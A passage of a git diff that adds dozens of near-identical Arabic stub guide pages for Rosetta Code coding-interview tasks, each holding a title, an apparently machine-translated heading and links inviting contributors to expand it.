+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/convert-seconds-to-compound-duration/index.md
@@ -0,0 +1,9 @@
+---
+title: Convert seconds to compound duration
+localeTitle: تحويل الثواني لمركبة المدة
+---
+## تحويل الثواني لمركبة المدة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/convert-seconds-to-compound-duration/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/count-occurrences-of-a-substring/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/count-occurrences-of-a-substring/index.md
new file mode 100644
index 0000000000..6393143bdb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/count-occurrences-of-a-substring/index.md
@@ -0,0 +1,9 @@
+---
+title: Count occurrences of a substring
+localeTitle: عدد مرات حدوث سلسلة فرعية
+---
+## عدد مرات حدوث سلسلة فرعية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/count-occurrences-of-a-substring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/count-the-coins/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/count-the-coins/index.md
new file mode 100644
index 0000000000..5a51f5a704
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/count-the-coins/index.md
@@ -0,0 +1,9 @@
+---
+title: Count the coins
+localeTitle: عد العملات
+---
+## عد العملات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/count-the-coins/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/cramers-rule/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/cramers-rule/index.md
new file mode 100644
index 0000000000..8893dba5ee
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/cramers-rule/index.md
@@ -0,0 +1,9 @@
+---
+title: Cramer's rule
+localeTitle: حكم كرامر
+---
+## حكم كرامر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/cramers-rule/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/date-format/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/date-format/index.md
new file mode 100644
index 0000000000..2b26ee8fb2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/date-format/index.md
@@ -0,0 +1,9 @@
+---
+title: Date format
+localeTitle: صيغة التاريخ
+---
+## صيغة التاريخ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/date-format/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/date-manipulation/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/date-manipulation/index.md
new file mode 100644
index 0000000000..285d609008
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/date-manipulation/index.md
@@ -0,0 +1,9 @@
+---
+title: Date manipulation
+localeTitle: تاريخ التلاعب
+---
+## تاريخ التلاعب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/date-manipulation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/day-of-the-week/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/day-of-the-week/index.md
new file mode 100644
index 0000000000..8a678003ea
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/day-of-the-week/index.md
@@ -0,0 +1,9 @@
+---
+title: Day of the week
+localeTitle: يوم من الأسبوع
+---
+## يوم من الأسبوع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/day-of-the-week/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/deal-cards-for-freecell/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/deal-cards-for-freecell/index.md
new file mode 100644
index 0000000000..9710ef1801
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/deal-cards-for-freecell/index.md
@@ -0,0 +1,9 @@
+---
+title: Deal cards for FreeCell
+localeTitle: بطاقات التعامل ل FreeCell
+---
+## بطاقات التعامل ل FreeCell
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/deal-cards-for-freecell/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/deepcopy/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/deepcopy/index.md
new file mode 100644
index 0000000000..856a51479a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/deepcopy/index.md
@@ -0,0 +1,9 @@
+---
+title: Deepcopy
+localeTitle: Deepcopy
+---
+## Deepcopy
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/deepcopy/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/define-a-primitive-data-type/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/define-a-primitive-data-type/index.md
new file mode 100644
index 0000000000..f2bc6dd90c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/define-a-primitive-data-type/index.md
@@ -0,0 +1,9 @@
+---
+title: Define a primitive data type
+localeTitle: تحديد نوع بيانات بدائي
+---
+## تحديد نوع بيانات بدائي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/define-a-primitive-data-type/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/department-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/department-numbers/index.md
new file mode 100644
index 0000000000..469f51bb48
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/department-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Department Numbers
+localeTitle: أرقام الدائرة
+---
+## أرقام الدائرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/department-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/discordian-date/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/discordian-date/index.md
new file mode 100644
index 0000000000..38e2e43650
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/discordian-date/index.md
@@ -0,0 +1,9 @@
+---
+title: Discordian date
+localeTitle: تاريخ ديسكورديان
+---
+## تاريخ ديسكورديان
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/discordian-date/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/element-wise-operations/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/element-wise-operations/index.md
new file mode 100644
index 0000000000..a42c18560f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/element-wise-operations/index.md
@@ -0,0 +1,9 @@
+---
+title: Element-wise operations
+localeTitle: عمليات عنصر الحكمة
+---
+## عمليات عنصر الحكمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/element-wise-operations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/emirp-primes/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/emirp-primes/index.md
new file mode 100644
index 0000000000..2e12b9d7f7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/emirp-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Emirp primes
+localeTitle: مكافآت الامير
+---
+## الأعداد الأولية من الأمير
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/emirp-primes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/entropy/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/entropy/index.md
new file mode 100644
index 0000000000..178e0a73e8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/entropy/index.md
@@ -0,0 +1,9 @@
+---
+title: Entropy
+localeTitle: غير قادر علي
+---
+## غير قادر علي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/entropy/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/equilibrium-index/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/equilibrium-index/index.md
new file mode 100644
index 0000000000..157377c6e1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/equilibrium-index/index.md
@@ -0,0 +1,9 @@
+---
+title: Equilibrium index
+localeTitle: مؤشر التوازن
+---
+## مؤشر التوازن
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/equilibrium-index/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/ethiopian-multiplication/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/ethiopian-multiplication/index.md
new file mode 100644
index 0000000000..c1c3bee159
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/ethiopian-multiplication/index.md
@@ -0,0 +1,9 @@
+---
+title: Ethiopian multiplication
+localeTitle: الضرب الاثيوبي
+---
+## الضرب الاثيوبي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/ethiopian-multiplication/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/euler-method/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/euler-method/index.md
new file mode 100644
index 0000000000..2fa68ed00c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/euler-method/index.md
@@ -0,0 +1,9 @@
+---
+title: Euler method
+localeTitle: طريقة أويلر
+---
+## طريقة أويلر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/euler-method/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/evaluate-binomial-coefficients/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/evaluate-binomial-coefficients/index.md
new file mode 100644
index 0000000000..501f47ce9e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/evaluate-binomial-coefficients/index.md
@@ -0,0 +1,9 @@
+---
+title: Evaluate binomial coefficients
+localeTitle: تقييم معاملات ذات الحدين
+---
+## تقييم معاملات ذات الحدين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/evaluate-binomial-coefficients/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/execute-a-markov-algorithm/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/execute-a-markov-algorithm/index.md
new file mode 100644
index 0000000000..922cb8d24c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/execute-a-markov-algorithm/index.md
@@ -0,0 +1,9 @@
+---
+title: Execute a Markov algorithm
+localeTitle: تنفيذ خوارزمية ماركوف
+---
+## تنفيذ خوارزمية ماركوف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/execute-a-markov-algorithm/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/execute-brain/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/execute-brain/index.md
new file mode 100644
index 0000000000..81f23d895c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/execute-brain/index.md
@@ -0,0 +1,9 @@
+---
+title: Execute Brain****
+localeTitle: تنفيذ الدماغ ****
+---
+## تنفيذ الدماغ \*\*\*\*
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/execute-brain/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/extensible-prime-generator/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/extensible-prime-generator/index.md
new file mode 100644
index 0000000000..5b9ba041b1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/extensible-prime-generator/index.md
@@ -0,0 +1,9 @@
+---
+title: Extensible prime generator
+localeTitle: مولد رئيسي موسع
+---
+## مولد رئيسي موسع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/extensible-prime-generator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/factorial/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/factorial/index.md
new file mode 100644
index 0000000000..6991f437f3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/factorial/index.md
@@ -0,0 +1,9 @@
+---
+title: Factorial
+localeTitle: مضروب
+---
+## مضروب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/factorial/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/factors-of-a-mersenne-number/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/factors-of-a-mersenne-number/index.md
new file mode 100644
index 0000000000..983dc0140e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/factors-of-a-mersenne-number/index.md
@@ -0,0 +1,9 @@
+---
+title: Factors of a Mersenne number
+localeTitle: عوامل عدد ميرسين
+---
+## عوامل عدد ميرسين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/factors-of-a-mersenne-number/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/factors-of-an-integer/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/factors-of-an-integer/index.md
new file mode 100644
index 0000000000..46ab62abec
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/factors-of-an-integer/index.md
@@ -0,0 +1,9 @@
+---
+title: Factors of an integer
+localeTitle: عوامل عدد صحيح
+---
+## عوامل عدد صحيح
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/factors-of-an-integer/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/farey-sequence/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/farey-sequence/index.md
new file mode 100644
index 0000000000..df42b3ac90
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/farey-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Farey sequence
+localeTitle: تسلسل Farey
+---
+## تسلسل Farey
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/farey-sequence/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/fibonacci-n-step-number-sequences/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/fibonacci-n-step-number-sequences/index.md
new file mode 100644
index 0000000000..927baacdb2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/fibonacci-n-step-number-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci n-step number sequences
+localeTitle: تتابع رقم فيبوناتشي n-step
+---
+## تتابع رقم فيبوناتشي n-step
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/fibonacci-n-step-number-sequences/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/fibonacci-sequence/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/fibonacci-sequence/index.md
new file mode 100644
index 0000000000..b924f9649c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/fibonacci-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci sequence
+localeTitle: متتالية فيبوناتشي
+---
+## متتالية فيبوناتشي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/fibonacci-sequence/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/fibonacci-word/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/fibonacci-word/index.md
new file mode 100644
index 0000000000..2242fea918
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/fibonacci-word/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci word
+localeTitle: كلمة فيبوناتشي
+---
+## كلمة فيبوناتشي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/fibonacci-word/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/fractran/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/fractran/index.md
new file mode 100644
index 0000000000..c51b87125d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/fractran/index.md
@@ -0,0 +1,9 @@
+---
+title: Fractran
+localeTitle: Fractran
+---
+## Fractran
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/fractran/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/gamma-function/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/gamma-function/index.md
new file mode 100644
index 0000000000..fc93f18901
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/gamma-function/index.md
@@ -0,0 +1,9 @@
+---
+title: Gamma function
+localeTitle: وظيفة جاما
+---
+## وظيفة جاما
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/gamma-function/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/gaussian-elimination/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/gaussian-elimination/index.md
new file mode 100644
index 0000000000..9bcf0ae81d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/gaussian-elimination/index.md
@@ -0,0 +1,9 @@
+---
+title: Gaussian elimination
+localeTitle: القضاء الغاوسي
+---
+## القضاء الغاوسي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/gaussian-elimination/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/general-fizzbuzz/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/general-fizzbuzz/index.md
new file mode 100644
index 0000000000..aea3b25029
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/general-fizzbuzz/index.md
@@ -0,0 +1,9 @@
+---
+title: General FizzBuzz
+localeTitle: عام FizzBuzz
+---
+## عام FizzBuzz
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/general-fizzbuzz/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/generate-lower-case-ascii-alphabet/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/generate-lower-case-ascii-alphabet/index.md
new file mode 100644
index 0000000000..d477f0f05d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/generate-lower-case-ascii-alphabet/index.md
@@ -0,0 +1,9 @@
+---
+title: Generate lower case ASCII alphabet
+localeTitle: توليد الأحرف الأبجدية ASCII الصغيرة
+---
+## توليد الأحرف الأبجدية ASCII الصغيرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/generate-lower-case-ascii-alphabet/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/generatorexponential/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/generatorexponential/index.md
new file mode 100644
index 0000000000..26a2be58f5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/generatorexponential/index.md
@@ -0,0 +1,9 @@
+---
+title: Generator/Exponential
+localeTitle: مولد / الأسي
+---
+## مولد / الأسي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/generatorexponential/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/gray-code/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/gray-code/index.md
new file mode 100644
index 0000000000..9c62c2fa51
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/gray-code/index.md
@@ -0,0 +1,9 @@
+---
+title: Gray code
+localeTitle: كود رمادي
+---
+## كود رمادي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/gray-code/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/greatest-common-divisor/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/greatest-common-divisor/index.md
new file mode 100644
index 0000000000..d19df8ecaa
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/greatest-common-divisor/index.md
@@ -0,0 +1,9 @@
+---
+title: Greatest common divisor
+localeTitle: القاسم المشترك الأكبر
+---
+## القاسم المشترك الأكبر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/greatest-common-divisor/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
